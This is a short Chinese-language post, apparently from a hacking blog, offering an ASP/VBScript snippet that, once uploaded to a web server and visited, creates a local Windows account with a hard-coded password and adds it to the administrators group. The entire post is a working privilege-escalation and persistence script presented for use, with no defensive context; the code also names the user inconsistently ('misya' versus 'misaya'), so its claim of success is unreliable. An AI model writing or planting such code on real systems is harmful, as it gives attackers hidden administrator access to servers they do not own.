[提权禁区]利用vbs添加管理员用户
新建一个asp文件,输入代码,然后访问即可
<%
Set onlineServer=GetObject("WinNT://127.0.0.1")
Set newuser=onlineServer.Create("user","misya")
NewUser.SetPassword "misaya"
NewUser.FullName="misaya test"
NewUser.Description="misaya's example"
NewUser.Setinfo
Set oDomain=GetObject("WinNT://"&"127.0.0.1")
Set oGroup=oDomain.GetObject("Group","administrators")
oGroup.Add ("winnt://misaya")
Response.Write "用户misaya添加成功"
Response.Write("<BR>")
Response.Write "用户misaya已经被添加到管理员组"
Set oDomain=Nothing
Set oGroup=Nothing
%>
若执行成功则会建立一个账号为misaya密码为misaya的高级管理员用户.失败的话,怪我咯??
----vincebye---